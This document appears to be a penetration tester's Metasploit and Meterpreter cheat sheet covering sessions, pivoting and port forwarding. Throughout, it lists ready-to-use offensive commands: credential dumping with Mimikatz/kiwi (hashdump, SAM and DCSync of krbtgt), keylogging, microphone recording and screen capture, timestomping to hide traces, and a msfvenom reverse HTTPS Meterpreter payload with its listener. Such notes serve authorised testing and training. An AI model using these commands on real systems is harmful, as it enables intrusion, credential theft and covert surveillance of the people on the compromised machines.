Metasploit

Start database

sudo msfdb run  

Database initialization

sudo msfdb init 

Delete existing databases

msfdb --use-defaults delete

Database initialization

msfdb --use-defaults init

Database status

msfdb status

Workspaces management

msf6 > workspace                // list workspaces
msf6 > workspace -a <WORKSPACE> // add workspace
msf6 > workspace -r <WORKSPACE> // rename workspace
msf6 > workspace -d <WORKSPACE> // delete workspace
msf6 > workspace -D             // delete all workspaces

Nmap integration

msf6 > db_nmap <OPTIONS>        // run nmap and add output to database

Hosts and services

msf6 > hosts                    // read hosts from database
msf6 > services                 // read services from database
msf6 > vulns                    // show vulnerabilities

Searching and configuration

msf6 > search                   // search within metasploit
msf6 > set RHOST <RHOST>        // set remote host
msf6 > set RPORT <RPORT>        // set remote port
msf6 > set VERBOSE true         // enable verbose output
msf6 > set forceexploit true    // force exploit anyway
msf6 > set EXITFUNC thread      // reverse shell can exit without closing program
msf6 > set AutoLoadStdapi false // disable stdapi autoload
msf6 > set PrependMigrate true  // enable automatic migration
msf6 > set PrependMigrateProc explorer.exe // auto migrate to explorer.exe

Modules

msf6 > exploit                  // use exploit module
msf6 > payload                  // use payload module
msf6 > auxiliary                // use auxiliary module
msf6 > encoder                  // use encoder module
msf6 > nop                      // use nop module
msf6 > use post/PATH/TO/MODULE                    // use post exploitation module
msf6 > use post/linux/gather/hashdump             // hashdump on Linux
msf6 > use post/multi/manage/shell_to_meterpreter // shell to meterpreter
msf6 > use exploit/windows/http/oracle_event_processing_upload // specific module

Sessions

msf6 > show sessions            // show active sessions
msf6 > sessions -l              // list the sessions
msf6 > sessions -i 1            // switch to session 1
msf6 > sessions -u <ID>         // upgrade shell to meterpreter
msf6 > sessions -k <ID>         // kill specific session
msf6 > sessions -K              // kill all sessions

Jobs and payloads

msf6 > jobs                     // show current jobs
msf6 > show payloads            // show available payloads

Spool and save

msf6 > spool /PATH/TO/FILE      // record output
msf6 > save                     // save current state

Meterpreter - Basic operations

C:\> Ctrl + z                   // put active shell in background
meterpreter > loadstdapi        // load stdapi
meterpreter > background        // send session to background
meterpreter > shell             // get system shell
meterpreter > channel -i <ID>   // return to an existing meterpreter channel

Meterpreter - System info and migration

meterpreter > ps                // list processes
meterpreter > migrate 2236      // migrate to a process
meterpreter > getuid            // get current user
meterpreter > sysinfo           // get system information

Meterpreter - File and network operations

meterpreter > search -f <FILE>  // search for a file
meterpreter > upload            // upload local files
meterpreter > ipconfig          // network configuration
meterpreter > download <file>   // Download a file from the machine
meterpreter > lcd <path>        // cd in kali

PowerShell Integration

meterpreter > load powershell
meterpreter > powershell_shell
meterpreter > powershell_execute
meterpreter > powershell_import
meterpreter > powershell_session_remove
meterpreter > powershell_execute 'Get-NetNeighbor | Where-Object -Property State -NE "Unreachable" | Select-Object -Property IPAddress'
meterpreter > powershell_execute '1..254 | foreach { "<XXX.XXX.XXX>.${_}: $(Test-Connection -TimeoutSeconds 1 -Count 1 -ComputerName <XXX.XXX.XXX>.${_} -Quiet)" }'
meterpreter > powershell_execute 'Test-NetConnection -ComputerName <RHOST> -Port 80 | Select-Object -Property RemotePort, TcpTestSucceeded'

Mimikatz (Kiwi)

meterpreter > load kiwi
meterpreter > help kiwi
meterpreter > kiwi_cmd
meterpreter > lsa_dump_sam
meterpreter > dcsync_ntlm krbtgt
meterpreter > creds_all
meterpreter > creds_msv
meterpreter > creds_kerberos
meterpreter > creds_ssp
meterpreter > creds_wdigest
meterpreter > getprivs
meterpreter > getsystem
meterpreter > hashdump

Post-Exploitation Modules

meterpreter > run post/windows/gather/checkvm
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > run post/windows/manage/enable_rdp
meterpreter > run post/multi/manage/autoroute
meterpreter > run auxiliary/server/socks4a

Keylogging & Screen

meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > screenshare
meterpreter > screenshare -q 100
meterpreter > record_mic

Timestomping & Execution

meterpreter > timestomp
meterpreter > execute -f calc.exe

Pivoting

msf6> route add 172.16.5.0/24 <session>
msf6> route print
msf6> use auxiliary/server/socks_proxy
msf6> set SRVHOST 127.0.0.1
msf6> set VERSION 5
msf6> run -j
kali@kali:~$ tail /etc/proxychains4.conf
#       proxy types: http, socks4, socks5, raw
#         * raw: The traffic is simply forwarded to the proxy without modification.
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080

kali@kali:~$ sudo proxychains xfreerdp /v:172.16.5.200 /u:luiza

Port Forwarding

meterpreter > portfwd add -l <LPORT> -p <RPORT> -r <RHOST>
kali@kali:~$ sudo xfreerdp /v:127.0.0.1 /u:luiza

Establish meterpreter reverse shell from compromised host

msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.45.221 LPORT=2233 -f exe -o met.exe
msf6 > set payload windows/x64/meterpreter_reverse_https 
msf6 > set lhost 192.168.45.221
msf6 > set lport 2233
msf6 > exploit -j

Last updated